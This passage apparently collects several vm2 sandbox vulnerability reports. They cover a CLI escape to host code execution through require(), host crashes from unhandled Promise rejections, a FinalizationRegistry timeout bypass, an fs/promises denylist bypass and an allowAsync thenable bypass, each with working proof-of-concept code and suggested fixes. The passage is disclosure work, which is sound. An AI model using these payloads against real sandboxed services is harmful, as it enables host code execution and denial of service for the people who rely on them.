- require.builtin: [''] is a NodeVM configuration; this PoV uses default VM. - nesting: true is not enabled or used. - The README timeout caveat covers host code operating on objects returned from the sandbox; this PoV mutates host intrinsics and later affects ordinary host-created typed arrays and ArrayBuffers.
The project's own attack notes state that host-realm intrinsic prototypes should be protected from sandbox writes, while non-intrinsic host objects may remain mutable when intentionally exposed. Typed-array and ArrayBuffer prototypes are host intrinsics, not embedder-owned application objects.
Buffer availability explains how the PoV reaches the host prototype chain, but it does not authorize mutation of unrelated host-realm intrinsics. The host effects are observed on new host-created typed arrays and ArrayBuffers after VM.run() returns; the host is not invoking an object returned from the sandbox.
Summary The vm2 command-line tool installed by npm install -g vm2 and documented in the README's "CLI" section runs the supplied script under NodeVM with require:{external:true} and no root / context / builtin configured. With these defaults the resolver loads every relative or absolute require() target through the host require() function, executing the attacker's module body in the host Node.js process before the result is ever proxied back into the sandbox. A single attacker-controlled file passed to vm2 ./script.js can call require(filename) to re-execute itself in host realm and reach fs, childprocess, etc. The documented sandbox runner is therefore equivalent to node ./script.js. No additional files, flags, or user interaction are required.
Details The vulnerability lets a malicious sandboxed script - the file argument to the documented vm2 <file> CLI - execute arbitrary code in the host Node.js process, crossing the sandbox → host boundary that vm2 is meant to enforce.
Vulnerable code path
1. Source - bin/vm2:3 → lib/cli.js:7-18. process.argv[2] is the attacker-authored script path. The CLI invokes: js NodeVM.file(path, { verbose: true, require: { external: true } }); Without require.root, require.context, nor require.builtin. 2. Hop - lib/nodevm.js:618-636. NodeVM.file reads the file and calls new NodeVM(options).run(body, resolvedFilename). 3. Hop - lib/nodevm.js:335 → lib/resolver-compat.js:205-266 (makeResolverFromLegacyOptions). Destructures external:true, rootPaths=undefined, hostRequire=defaultRequire (line 218), context='host' (default, line 219). Because typeof externalOpt !== 'object' (line 265) it returns a CustomResolver with checkedRootPaths=undefined and pathContext = () => 'host' (line 263). 4. Hop - lib/setup-node-sandbox.js:86-123 (requireImpl). Sandbox require(id) resolves via resolver.resolve(...) (lib/nodevm.js:380-383). lib/resolver.js:244-275 handles absolute/relative specifiers; tryFile at lib/resolver.js:327-329 gates on this.isPathAllowed(x). 5. Barrier (gap) - lib/resolver-compat.js:53-54: js isPathAllowed(filename) { if (this.rootPaths === undefined) return true; With no root configured, every filesystem path is allowed. checkAccess (lib/resolver.js:39-42) delegates to the same method. 6. Sink - lib/resolver-compat.js:74-77: js loadJS(vm, mod, filename) { if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(...); const m = this.hostRequire(filename); // ← host-realm require() mod.exports = vm.readonly(m); } hostRequire is defaultRequire (lib/resolver-compat.js:20-23) - the real host require(). The required module's top-level body executes in the host realm before vm.readonly() wraps the exports; wrapping happens too late to constrain side-effects. loadNode (lib/resolver-compat.js:80-83) is identical for .node native addons (process.dlopen in host).
PoC Save the following as /tmp/poc.js:
js 'use strict'; try { // Host realm: fs is available - write sentinel and stop. const fs = require('fs'); fs.writeFileSync('/tmp/vm2.proof', 'host pid=' + process.pid + '\n'); console.log('HOST realm: wrote /tmp/vm2.proof'); } catch (e) { // Sandbox realm: require('fs') threw ENOTFOUND. Re-require this file - // the CLI resolver loads it via host require() (resolver-compat.js:76). console.log('sandbox realm: fs blocked (' + e.message + '); escaping'); require(filename); }
Run via the shipped CLI exactly as the README documents:
sh node ./bin/vm2 /tmp/poc.js # or vm2 /tmp/poc.js after npm i -g vm2
Observed output:
sandbox realm: fs blocked (Cannot find module 'fs'); escaping HOST realm: wrote /tmp/vm2.proof
/tmp/vm2.proof exists, written by fs.writeFileSync from a script whose direct require('fs') was blocked by the sandbox. The first line proves the boundary exists; the second proves it was crossed.
Impact A user who follows the README's CLI section and runs vm2 ./untrusted.js on an attacker-supplied file gets arbitrary code execution as that user - the sandbox provides no isolation in this configuration. The blast radius is the full host Node.js process: fs, childprocess, process.dlopen, network, environment.
Summary
vm2 current head (v3.11.5, commit 7a1f5100b96f48d34e0fe104ab37c0acc5944f92) can still be used to terminate the host Node.js process when sandbox code calls a host-realm function that returns a rejected host Promise and then ignores the returned value.
This is an incomplete-fix variant of the GHSA-hw58-p9xv-2mjh unhandled rejection hardening. The localPromise constructor now catches and consumes sandbox-created unhandled rejections, but host Promises returned across the bridge are not marked handled at the bridge boundary. If the sandbox does not attach .catch() or .then(..., onRejected), Node's default unhandled rejection behavior terminates the host process.
Technical Details
lib/setup-sandbox.js hardens sandbox-created Promises by wrapping the executor and attaching a benign swallow tail:
js apply(globalPromisePrototypeThen, this, [undefined, localPromiseSwallow]);
That only applies to localPromise instances created inside the sandbox.
Host-returned Promises cross the membrane through the bridge apply path. The bridge wraps callbacks when sandbox code later calls .then, .catch, or .finally on a host Promise:
js bridge.setHostPromiseSanitizers(e => handleException(from(e)), from);
However, if sandbox code ignores the returned host Promise, no host-side rejection handler is attached. The original host Promise remains unhandled and Node terminates the host process under the default unhandled-rejection behavior.
NodeVM provides an in-repository example of this primitive through the special events builtin wrapper. lib/builtin.js passes host EventEmitter.once into the sandbox:
js once: EventEmitter.once,
Then lib/events.js re-exports it:
js if (host.once) module.exports.once = host.once;
Calling events.once(ee, 'message') and then emitting error on ee returns a rejected host Promise through that wrapper. If ignored by sandbox code, it terminates the host process.
Impact
An attacker who can run code in a vm2 sandbox can terminate the host Node.js process when the embedder exposes a host Promise-returning API, or when a NodeVM permits the events builtin.
For web services, queues, notebook workers, plugin hosts, and multi-tenant code execution systems, a single small request can terminate the worker process. Restart policies do not fully mitigate the issue because the payload can be replayed after each restart.
Affected Package/Versions
Confirmed affected on Node.js v25.8.0:
- v3.10.0 - v3.10.1 - v3.10.2 - v3.10.3 - v3.10.4 - v3.10.5 - v3.11.0 - v3.11.1 - v3.11.2 - v3.11.3 - v3.11.4 - v3.11.5 / current head 7a1f5100b96f48d34e0fe104ab37c0acc5944f92
The final PoV was also reproduced on current head with Node.js v16.20.2, v18.20.8, v20.20.2, v22.22.3, v24.16.0, and v25.9.0 using npx node@<major>. The local workstation default Node.js v25.8.0 also reproduces.
Configuration Required
The general VM PoV requires an embedder-exposed host function that can return a rejected host Promise:
js const vm = new VM({ sandbox: { hostReject: () => Promise.reject(new Error('host-boom')), }, });
The NodeVM variant requires events in the builtin allowlist:
js new NodeVM({ require: { external: false, builtin: ['events'] } });
events.once() is exposed by vm2's special events builtin wrapper. Node's official API documents events.once() as returning a Promise that rejects when the watched emitter emits error while waiting for another event.
Controls
- If sandbox code attaches .catch(() => {}) to the returned host Promise, the process survives. - If sandbox code creates and ignores a sandbox-native rejected Promise, the process survives on current head. This confirms the GHSA-hw58 localPromise hardening is active. - If sandbox code attaches .catch(() => {}) to the events.once() Promise, the NodeVM process survives. - If NodeVM does not allow the events builtin, the events.once() variant does not run and the process survives.
Disclosure Policy Fit
vm2's security policy asks reporters not to open public issues and to submit This report is intended for that private route and includes the requested reproduction steps, affected versions, environment/configuration details, and impact. The affected range is within the supported 3.x line.
Local Proof of Concept
Run from the oss-zero-day-harness directory:
fish node submission-bundle/vm2-pov-test-host-promise-return-unhandled-rejection-dos/pov-host-promise-return-unhandled-rejection-dos.js
The crash-safe PoV executes each case in a child process. A vulnerable result has status: 1 for the positive cases and status: 0 for controls.
Minimal VM positive case:
js const { VM } = require('vm2');
const vm = new VM({ sandbox: { hostReject: () => Promise.reject(new Error('host-boom')), }, });
vm.run('hostReject(); 1'); setTimeout(() => console.log('survived'), 150);
Observed on current head:
text Error: host-boom at hostReject (...)
The process exits before printing survived.
Minimal NodeVM builtin variant:
js const { NodeVM } = require('vm2');
const vm = new NodeVM({ require: { external: false, builtin: ['events'] }, });
vm.run( const events = require('events'); const ee = new events.EventEmitter(); events.once(ee, 'message'); ee.emit('error', new Error('event-boom')); module.exports = 'returned'; , 'events-pov.js');
setTimeout(() => console.log('survived'), 150);
Observed on current head:
text node:internal/process/promises:332 triggerUncaughtException(err, true / fromPromise /); Error: event-boom
The process exits with status 1.
Mitigation
Applications can reduce exposure by installing a process-level unhandledRejection handler that swallows vm2-originated rejections, as the README recommends for related async rejection caveats. That is an application workaround, not a library-level fix: without such a handler, current Node's default --unhandled-rejections=throw behavior raises the rejection as an uncaught exception and exits the process.
Suggested Fix Direction
When a host function call returns a host-realm Promise across the bridge into sandbox code, attach a benign host-side rejection handler to the raw returned Promise before wrapping it for the sandbox. This should mark the original host Promise handled without changing the value returned to sandbox code or hiding the rejection from sandbox code that later attaches its own .catch() / .then(..., onRejected).
Regression tests should cover:
- VM with hostReject: () => Promise.reject(new Error(...)); calling hostReject() without .catch() must not terminate the process. - The same call with a sandbox .catch() must still deliver a sanitized rejection to the sandbox callback. - NodeVM with require.builtin: ['events']; calling events.once(ee, 'message') and then emitting error without .catch() must not terminate the process. - The same events.once() call with a sandbox .catch() must continue to deliver a sanitized rejection to the sandbox callback. - Sandbox-created rejected Promises should continue to be consumed by the existing localPromise hardening.
Why This Is Not Intended Behavior
vm2 already treats this failure mode as security-relevant. GHSA-hw58-p9xv-2mjh was assigned High severity for a sandbox-created unhandled rejection that terminated the host process, and current setup-sandbox.js explicitly states that the local Promise swallow tail exists so the host's unhandledRejection event never fires.
This report shows the same availability boundary failure still exists for host-returned Promises:
- the sandbox does not need childprocess, filesystem, network, nesting, or dangerous builtins; - the VM variant needs only a common embedder pattern: exposing an async host helper to untrusted code; - the NodeVM variant needs only the documented events builtin allowlist; - a single sandbox call terminates the whole host process serving all users.
This is distinct from the documented caveat that timeout cannot stop CPU loops. It is also distinct from the README's current async-function / await using caveat: this report does not require sandbox async syntax, async functions, disposable stacks, or V8 stack-formatting behavior. The issue is specifically that vm2's own bridge returns a host Promise to the sandbox without marking the host Promise handled, while the sandbox-created Promise path does mark rejections handled.
This is also distinct from host-Promise callback sanitizer escapes. In those chains, sandbox code attaches a callback to a host Promise and then receives or returns a mis-sanitized value. Here, no sandbox Promise callback is required at all; the original host Promise is simply left orphaned after crossing the bridge.
Summary
An untrusted script run by VM.run can construct an embedder-exposed host function that returns a rejected native Promise and ignore the result. The sandbox-to-host construct trap forwards that Promise without applying the host-side rejection handling already used by the neighboring apply trap, so Node's strict unhandled-rejection policy terminates the host process.
Technical Details
The precondition is an application-supplied constructable host function in the VM sandbox whose constructor body returns a native rejected Promise. In JavaScript, an object explicitly returned by a constructor replaces the newly allocated instance, so new HostReject() produces that Promise.
VM.run executes the attacker-controlled source. For an ordinary host-function call, BaseHandler.apply invokes the host function, calls markHostPromiseHandled(ret), and then wraps the result. The adjacent BaseHandler.construct path instead calls Reflect.construct and returns thisFromOtherWithFactory(...) without calling the same sanitizer. The rejected host Promise therefore crosses the bridge still unhandled. With Node's strict unhandled-rejection behavior, the rejection is promoted to an uncaught exception and kills the host process.
The shortest path is VM.run → the sandbox bridge → BaseHandler.construct. The control changes only the guest expression: it attaches .catch(function () {}) to the constructed Promise before ignoring it. The host function, VM configuration, rejection, and Node policy remain the same, and the control process survives.
This is unintended because the repository's GHSA-gjq8 hardening explicitly marks host Promises handled at the apply boundary, while no equivalent handling exists in the adjacent construct return path. The construct path is a distinct boundary and fix surface, not a second invocation of the already-fixed apply path.
PoV
Save the following as construct-promise-poc.js:
js 'use strict';
const { VM } = require(process.cwd() + '/lib/main.js');
function HostReject() { return Promise.reject(new Error('constructed-host-boom')); }
const mode = process.argv[2]; const vm = new VM({ sandbox: { HostReject } });
if (mode === 'vulnerable') { console.log('VULNERABLESTARTED'); vm.run('new HostReject(); 1'); setTimeout(() => console.log('ALIVE'), 300); } else if (mode === 'control') { vm.run('new HostReject().catch(function () {}); 1'); setTimeout(() => console.log('CONTROLALIVE'), 300); } else { throw new Error('usage: node construct-promise-poc.js vulnerable|control'); }
PoC
Check out vm2 revision 91034466bfb7f56b95fd48083ec6ca36d058f164, install its declared dependencies with npm ci --ignore-scripts, and save construct-promise-poc.js in that checkout's module root (the directory containing package.json and lib/). Run the script and both commands below from that same module-root directory. The script resolves lib/main.js from the current directory, so the test uses the checked-out vm2 source.
Tested with vm2 3.11.8 at that revision on Node.js v26.8.1, with NODEOPTIONS=--unhandled-rejections=strict. The abort flag makes the process crash signal explicit:
text NODEOPTIONS=--unhandled-rejections=strict node --abort-on-uncaught-exception construct-promise-poc.js vulnerable
Abridged vulnerable output:
text VULNERABLESTARTED Error: constructed-host-boom at VM2 Wrapper.construct (.../lib/bridge.js:2340:11) at VM.run (.../lib/vm.js:613:16)
The process exits before printing ALIVE (exit status 139 in the tested execution). The stack paths are environment-dependent; the construct and VM.run frames identify the relevant target functions.
The otherwise identical control is:
text NODEOPTIONS=--unhandled-rejections=strict node --abort-on-uncaught-exception construct-promise-poc.js control
Control output:
text CONTROLALIVE
The control exits successfully. The crash is a process-level availability failure, not a guest exception caught and returned by VM.run.
Impact
An attacker who can submit JavaScript to a VM and who receives a constructable Promise-returning host API can terminate the Node.js process hosting the sandbox with one expression. This can take down a plugin worker, notebook kernel, queue consumer, or multi-tenant execution worker serving other users. The exploit does not require filesystem access, a Node builtin, nested VMs, or host compromise. It requires the embedder to expose the host constructor and the host to use strict unhandled-rejection handling.
The impact is host availability only; this report does not claim confidentiality or integrity impact. The typed classification is CWE-248 (Uncaught Exception) and CWE-703 (Improper Check or Handling of Exceptional Conditions), with CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H (8.6, High) for a deployment that accepts untrusted code over a network boundary.
Suggested Fix
Restore the bridge invariant that every host-native Promise crossing into the sandbox is marked handled before it can be ignored. In BaseHandler.construct, add the same markHostPromiseHandled(ret) call used by BaseHandler.apply, after the host result is produced and before it is converted and returned:
js stripDangerousSymbolsFromHostResult(ret); markHostPromiseHandled(ret); return thisFromOtherWithFactory(getHandlerFactory(this), ret, thisFromOther(object));
The call should attach the benign host-side rejection reaction without changing the Promise value or preventing sandbox code that later attaches .catch() or .then(..., onRejected) from observing the rejection. Regression tests should cover an ignored rejected Promise returned through new, the caught control, ordinary non-Promise constructor returns, and the existing apply-path behavior.
Affected Package/Versions
- Package: vm2 (npm). - Confirmed vulnerable: 3.11.8, including revision 91034466bfb7f56b95fd48083ec6ca36d058f164. - The exact tested affected range is 3.11.8; no broader version range is inferred from this test.
Advisory History
The public GHSA-gjq8-xm47-88rc advisory describes host-returned Promise rejection termination and records 3.11.8 as its patched version. Its fix and reproduction cover a host function invoked through the bridge apply route. This report uses the distinct construct route reached by new, where the tested 3.11.8 source still omits markHostPromiseHandled(ret). A fix for apply does not automatically fix this adjacent return path.
The checked related public history includes GHSA-hw58-p9xv-2mjh, the earlier sandbox-Promise constructor issue. GHSA-hw58 concerns an error raised by a Promise executor for a Promise created inside the sandbox; it is the sandbox-native localPromise/executor path, not GHSA-gjq8's host-returned Promise through BaseHandler.apply and not this host-constructor result through BaseHandler.construct.
The checked search also found PR #421, “Handle errors thrown in async functions”. That is a separate async-error history item concerning errors from async functions and timer callbacks, with general unhandled-rejection handling, rather than a host Promise returned through the GHSA-gjq8 apply boundary or a Promise returned by an exposed constructor through this construct trap.
The bound prior local report, titled “NodeVM crypto sanitizer exposes process-wide crypto.setFips,” covers a different root cause: an allowlisted crypto builtin exposes setFips, allowing guest code to mutate host-wide cryptographic state. Its boundary and fix surface are builtin sanitization and process-state mutation, not host-Promise rejection handling; it therefore differs from both the GHSA-gjq8 apply route and this BaseHandler.construct route. No prior report covering this construct-trap root cause was found.
Vulnerability Summary vm2's VM({ timeout }) option is documented and relied upon as the mechanism that bounds how long sandboxed code may execute. In the current implementation, the timeout only wraps the single synchronous call to VM#run() (via doWithTimeout → this.runScript(script) in lib/vm.js). It does not, and structurally cannot, bound code that the V8 engine itself schedules to run after that call has already returned. FinalizationRegistry and WeakRef are exposed to sandboxed code completely unmodified — they are not present anywhere in lib/setup-sandbox.js's list of specially-wrapped/hardened globals (only WeakMap, Promise, Proxy, Reflect, etc. receive hardening there). Sandboxed code can register a FinalizationRegistry callback against an object it creates and immediately drops. VM#run() returns normally, well within the configured timeout, because registration is instant. At some later point — determined entirely by the V8 garbage collector, and forceable on demand by the host process (e.g. under memory pressure, or via --expose-gc) — the engine invokes the sandboxed cleanup callback directly. This invocation is not mediated by doWithTimeout, Script.runInContext({timeout}), or any other vm2 accounting mechanism, because it isn't a new call to VM#run() at all — it's the GC's own native callback-invocation path.
Affected Code & Version - Repository: patriksimek/vm2 - Version tested: 3.11.6 (commit a5b31cd9c01b37139aa9c71df1c691a6d1b440f9, 2026-08-14) — the current main branch, i.e. this reproduces on the latest release, after all 2026 CVE-wave fixes (CVE-2026-22709, CVE-2026-26956, and the May 2026 13-advisory batch). - lib/vm.js, run() (~line 501) and doWithTimeout() (~line 105): the timeout option only wraps the single call to this.runScript(script). No mechanism exists to bound execution triggered by engine-internal callbacks scheduled outside that call. - lib/setup-sandbox.js, lines 1–14: the module's captured/hardened globals list (LocalWeakMap, LocalProxy, LocalError, etc.) does not include FinalizationRegistry or WeakRef. Repo-wide grep for FinalizationRegistry|WeakRef returns zero matches in lib/, confirming neither receives any wrapping, restriction, or special handling — they are exposed to sandboxed code as bare, fully-functional constructors. Steps to Reproduce Environment: Node.js v22.22.2, vm2 checked out at the commit above, dependencies installed with npm install. 1. Clone and install: git clone https://github.com/patriksimek/vm2.git cd vm2 && npm install 2. Save as poctimeoutbypass.js in the repo root: js const { VM } = require('./lib/main.js'); const CONFIGUREDTIMEOUTMS = 200; const vm = new VM({ timeout: CONFIGUREDTIMEOUTMS }); const t0 = Date.now(); let runError = null; try { vm.run( let target = {}; const registry = new FinalizationRegistry(() => { const busyStart = Date.now(); while (Date.now() - busyStart < 3000) { / burn CPU, block event loop / } }); registry.register(target, 'held-value'); target = null; // drop only strong reference -> GC-eligible ); } catch (e) { runError = e.message; } const t1 = Date.now(); console.log('vm.run() returned after', t1 - t0, 'ms. Threw:', runError); if (!global.gc) { console.log('Re-run with --expose-gc'); process.exit(1); } global.gc(); global.gc(); const timerScheduledAt = Date.now(); setTimeout(() => { const delay = Date.now() - timerScheduledAt; console.log('Host setTimeout(10ms) actually fired after', delay, 'ms'); console.log('Total wall time since vm.run() returned:', Date.now() - t1, 'ms'); }, 10); 3. Run: node --expose-gc poctimeoutbypass.js 4. Observed output: vm.run() returned after 2 ms. Threw: null Host setTimeout(10ms) actually fired after 3000 ms Total wall time since vm.run() returned: 3029 ms 5. Interpretation: run() returned in 2ms, well inside the configured 200ms timeout — vm2 believes execution completed safely. A host-side timer scheduled for 10ms did not fire until ~3000ms later, proving the entire Node.js event loop — not just the sandbox — was blocked by sandboxed code running 15x longer than the configured timeout, entirely after run() had returned and outside any timeout enforcement. 6. typeof FinalizationRegistry and typeof WeakRef inside a fresh VM() both evaluate to "function" with no wrapping, confirming the surface is reachable by design, not by an incidental leak. Fix Recommendation Pick one or combine: 1. Remove FinalizationRegistry and WeakRef from the sandbox global scope by default. These are rarely needed by untrusted scripts and their GC-driven, engine-scheduled invocation model is fundamentally incompatible with a wall-clock timeout promise. Delete them from the context in lib/setup-sandbox.js alongside the other hardening done there, mirroring how other dangerous globals are handled. 2. If they must remain available, wrap FinalizationRegistry's constructor so the callback the sandbox supplies is itself invoked through a host-side dispatcher that re-applies a fresh per-invocation timeout (e.g. via Script.runInContext with timeout again, or by tracking cumulative CPU time via process.hrtime/Isolate::TerminateExecution if this is ever ported to a true isolate model). A callback that exceeds its budget should be forcibly terminated the same way an over-budget run() call is today. 3. Document the gap explicitly if neither is implemented immediately: the current README/docs describe timeout as bounding sandboxed execution without qualification. At minimum, callers should be warned that GC-triggered callbacks (FinalizationRegistry) are exempt.
any application that runs untrusted code through vm2 with a timeout expecting it to bound total CPU time can be denied service indefinitely. A single-line sandboxed script (registry.register(target, x) then drop the reference) can queue an unbounded busy-loop that fires at an unpredictable future moment and freezes the entire host Node.js process (single-threaded event loop) for as long as the attacker's loop runs — with no relationship at all to the configured timeout value. Because the freeze happens asynchronously and disconnected from the triggering run() call, it also undermines incident response: by the time the hang is observed, the run() call that caused it may be long gone from logs/traces. This is a timeout-enforcement bypass / uncontrolled resource consumption issue, not (as currently demonstrated) a proxy/realm escape to host object access — sandboxed code stays within its own realm. See "What this report does not claim" below.
vm2 before 3.11.6 fails to enforce bufferAllocLimit on ArrayBuffer, SharedArrayBuffer, and TypedArray constructors, allowing attackers to allocate arbitrary host memory. Attackers can bypass the buffer allocation cap by using these V8 intrinsics to exhaust host process memory and trigger out-of-memory conditions.
Summary
NodeVM's builtin wildcard policy can allow sandboxed code to access fs/promises even when the embedder denies fs.
With the following configuration:
js require: { builtin: ['', '-fs', '-childprocess'] }
require('fs') and require('childprocess') are blocked, but require('fs/promises') and require('node:fs/promises') are still available. This allows sandboxed code to create and write files on the host filesystem through the promise-based filesystem API.
Affected Mode
NodeVM.
Affected Configuration
js new NodeVM({ require: { builtin: ['', '-fs', '-childprocess'] } });
This affects configurations where users rely on negative builtin entries such as -fs to deny filesystem access while using the '' builtin wildcard.
Affected Files / Functions
- lib/builtin.js - DANGEROUSBUILTINS - BUILTINMODULES - makeBuiltinsFromLegacyOptions - addDefaultBuiltin - lib/resolver.js - Resolver.resolve - Resolver.loadBuiltinModule - lib/setup-node-sandbox.js - requireImpl
Root Cause
lib/builtin.js builds BUILTINMODULES from Node's builtin module list and filters dangerous/default-denied modules. In wildcard mode, negative entries are checked by exact name:
js if (builtins.indexOf(-${name}) === -1) { addDefaultBuiltin(res, name, hostRequire); }
This means -fs removes only the exact builtin named fs. It does not remove builtin subpaths such as fs/promises.
There is also inconsistent node: prefix handling. require('node:fs/promises') resolves through the same builtin capability, but a negative entry such as -node:fs/promises does not block require('fs/promises').
Security Boundary Crossed
Sandboxed code can perform host filesystem writes even though the embedder denied fs.
Impact
Confirmed impact:
- Host file creation - Host file write
The proof uses fs/promises.writeFile() to create a harmless temporary file containing a marker string.
Additional reachable APIs on fs/promises include filesystem operations such as cp, mkdir, rename, rm, rmdir, truncate, and others. These were not used destructively in the proof.
Safe Local Reproduction
Tested on Node.js v24.14.0.
This proof does not execute OS commands and does not use destructive filesystem operations. It creates a temporary proof file, verifies the marker, then removes the file.
js 'use strict';
const fs = require('fs'); const os = require('os'); const path = require('path'); const { NodeVM } = require('./');
const proofPath = path.join(os.tmpdir(), vm2-fs-promises-proof-${process.pid}.txt); const marker = vm2-fs-promises-marker-${process.pid};
try { fs.unlinkSync(proofPath); } catch () {}
(async () => { const vm = new NodeVM({ require: { builtin: ['', '-fs', '-childprocess'] } });
const result = await vm.run( module.exports = (async () => { const r = {};
try { require('fs'); r.fsLoaded = true; } catch (e) { r.fsBlocked = true; r.fsError = e && e.code; }
try { require('childprocess'); r.childProcessLoaded = true; } catch (e) { r.childProcessBlocked = true; r.childProcessError = e && e.code; }
const fsp = require('fs/promises'); r.fsPromisesLoaded = true; r.fsPromisesKeys = Object.keys(fsp).slice(0, 12).sort();
await fsp.writeFile(${JSON.stringify(proofPath)}, ${JSON.stringify(marker)}, 'utf8'); r.wrote = true;
return r; })(); );
const exists = fs.existsSync(proofPath); const content = exists ? fs.readFileSync(proofPath, 'utf8') : null;
console.log(JSON.stringify({ result, hostFileExists: exists, hostFileContent: content }, null, 2));
try { fs.unlinkSync(proofPath); } catch () {} })().catch(error => { try { fs.unlinkSync(proofPath); } catch () {} console.error(error); process.exitCode = 1; });
Observed result:
json { "result": { "fsBlocked": true, "fsError": "ENOTFOUND", "childProcessBlocked": true, "childProcessError": "ENOTFOUND", "fsPromisesLoaded": true, "wrote": true }, "hostFileExists": true, "hostFileContent": "vm2-fs-promises-marker-<pid>" }
Additional local checks:
- require('node:fs/promises') also loads and can write the proof file. - Adding -fs/promises blocks require('fs/promises'). - Adding only -node:fs/promises does not block require('fs/promises').
Expected Secure Behavior
If an embedder denies fs, NodeVM should deny the whole filesystem builtin family, including:
- fs - fs/promises - node:fs - node:fs/promises
Negative entries with and without node: should be normalized consistently.
Suggested Fix
1. Normalize builtin names before allow/deny checks: - Strip node: for comparison. - Use one canonical key form internally.
2. Treat negative builtin entries as family denials where appropriate: - -fs should block fs/promises. - -inspector already conceptually blocks inspector/promises; apply the same family logic to user-provided negative entries.
3. Add regression tests for: - builtin: ['', '-fs'] blocks fs/promises. - builtin: ['', '-fs'] blocks node:fs/promises. - -node:fs/promises and -fs/promises behave equivalently. - Explicit allowlist behavior is documented and covered.
Summary
When allowAsync is set to false, vm2 is expected to reject attempts to run asynchronous code. Direct use of Promise.prototype.then is blocked, but Promise static methods still assimilate attacker-controlled thenables. Promise.resolve(thenable), Promise.all([thenable]), Promise.race([thenable]), Promise.any([thenable]), and Promise.allSettled([thenable]) can invoke the thenable's then method in a microtask after VM.run() or NodeVM.run() has already returned.
This bypasses the documented async-execution restriction and runs outside the configured timeout, allowing sandboxed code to continue executing after the host believes execution is complete.
Details
The documented VM option says allowAsync: false should cause attempts to run async code to throw a VMError; README.md:139-145 also recommends using it with timeout. The implementation enforces part of this policy by replacing localPromise.prototype.then with an AsyncErrorHandler when async is disabled:
- lib/setup-sandbox.js:1629-1637 defines AsyncErrorHandler, whose apply and construct traps throw VMError: Async not available. - lib/setup-sandbox.js:1743-1752 installs that handler on localPromise.prototype.then when allowAsync is false.
However, Promise static methods are still exposed and rebound to localPromise:
- lib/setup-sandbox.js:1816-1819 wraps Promise.all. - lib/setup-sandbox.js:1821-1824 wraps Promise.race. - lib/setup-sandbox.js:1826-1830 wraps Promise.allSettled. - lib/setup-sandbox.js:1833-1837 wraps Promise.any. - lib/setup-sandbox.js:1840-1843 wraps Promise.resolve.
Those wrappers prevent species attacks by forcing localPromise as the constructor, but they do not reject or neutralize thenables when allowAsync is false. Native Promise resolution then performs PromiseResolveThenableJob and calls the attacker-controlled then method asynchronously. That job does not go through the patched localPromise.prototype.then method, so the AsyncErrorHandler is never reached.
NodeVM inherits the same sandbox Promise setup through VM (lib/nodevm.js:328-332), so the same thenable-assimilation bypass is reachable in NodeVM as well.
The transformer fast path is not the root cause, but it explains why the minimal PoC is parser-independent: payloads below contain none of catch, import, async, with, the internal state identifier, or \u, so lib/transformer.js:82-89 returns without AST parsing.
PoC
Maintainer-runnable clean-checkout recipe:
sh npm install node - <<'NODE' const {VM, NodeVM} = require('./');
async function runVmCase(name, code) { const events = []; const vm = new VM({allowAsync: false, timeout: 10, sandbox: {mark: value => events.push(value)}}); try { const ret = vm.run(code); console.log(${name}: returned ${ret}); } catch (e) { console.log(${name}: threw ${e.name}:${e.message}); } await new Promise(resolve => setImmediate(resolve)); console.log(${name} events: ${events.length ? events.join(',') : '<none>'}); }
async function runNodeVmCase(name, code) { const events = []; const vm = new NodeVM({allowAsync: false, sandbox: {mark: value => events.push(value)}}); try { const ret = vm.run(code); console.log(${name}: returned ${ret}); } catch (e) { console.log(${name}: threw ${e.name}:${e.message}); } await new Promise(resolve => setImmediate(resolve)); console.log(${name} events: ${events.length ? events.join(',') : '<none>'}); }
(async () => { await runVmCase('VM Promise.resolve thenable', Promise.resolve({then(r){mark('resolve-thenable')}}); 1); await runVmCase('VM Promise.all thenable', Promise.all([{then(r){mark('all-thenable')}}]); 1); await runVmCase('VM Promise.race thenable', Promise.race([{then(r){mark('race-thenable')}}]); 1); await runVmCase('VM Promise.any thenable', Promise.any([{then(r){mark('any-thenable')}}]); 1); await runVmCase('VM Promise.allSettled thenable', Promise.allSettled([{then(r){mark('allSettled-thenable')}}]); 1); await runVmCase('VM direct then negative control', Promise.resolve(1).then(function(){mark('direct')}); 1);
await runNodeVmCase('NodeVM Promise.resolve thenable', Promise.resolve({then(r){mark('nodevm-resolve-thenable')}}); module.exports = 1;); await runNodeVmCase('NodeVM direct then negative control', Promise.resolve(1).then(function(){mark('nodevm-direct')}); module.exports = 1;);
const timeoutEvents = []; const timeoutVm = new VM({allowAsync: false, timeout: 10, sandbox: {mark: value => timeoutEvents.push(value)}}); const started = Date.now(); const ret = timeoutVm.run(Promise.resolve({then(){var t=Date.now();while(Date.now()-t<35){};mark(Date.now())}}); 1); const afterRun = Date.now(); await new Promise(resolve => setImmediate(resolve)); console.log(timeout case returned: ${ret}); console.log(timeout case runReturnedInMs: ${afterRun - started}); console.log(timeout case events: ${timeoutEvents.length}); console.log(timeout case elapsedMs: ${Date.now() - started}); })(); NODE
Expected vulnerable output pattern:
text VM Promise.resolve thenable: returned 1 VM Promise.resolve thenable events: resolve-thenable VM Promise.all thenable: returned 1 VM Promise.all thenable events: all-thenable VM Promise.race thenable: returned 1 VM Promise.race thenable events: race-thenable VM Promise.any thenable: returned 1 VM Promise.any thenable events: any-thenable VM Promise.allSettled thenable: returned 1 VM Promise.allSettled thenable events: allSettled-thenable VM direct then negative control: threw VMError:Async not available VM direct then negative control events: <none> NodeVM Promise.resolve thenable: returned 1 NodeVM Promise.resolve thenable events: nodevm-resolve-thenable NodeVM direct then negative control: threw VMError:Async not available NodeVM direct then negative control events: <none> timeout case returned: 1 timeout case runReturnedInMs: 0 timeout case events: 1 timeout case elapsedMs: 35
Observed local output from this environment, using temporary local acorn/acorn-walk stubs only because dependencies were not installed and the payloads take the transformer fast path without invoking the parser:
json { "results": [ ["Promise.resolve thenable", "run-returned", 1], ["Promise.resolve thenable events", "resolve-thenable"], ["Promise.all thenable", "run-returned", 1], ["Promise.all thenable events", "all-thenable"], ["Promise.race thenable", "run-returned", 1], ["Promise.race thenable events", "race-thenable"], ["Promise.any thenable", "run-returned", 1], ["Promise.any thenable events", "any-thenable"], ["Promise.allSettled thenable", "run-returned", 1], ["Promise.allSettled thenable events", "allSettled-thenable"], ["direct then control", "threw", "VMError:Async not available"], ["direct then control events", "<none>"] ], "timeoutCase": { "ret": 1, "runReturnedInMs": 0, "events": [1779866562491], "elapsedMs": 35 } }
Observed NodeVM variant output:
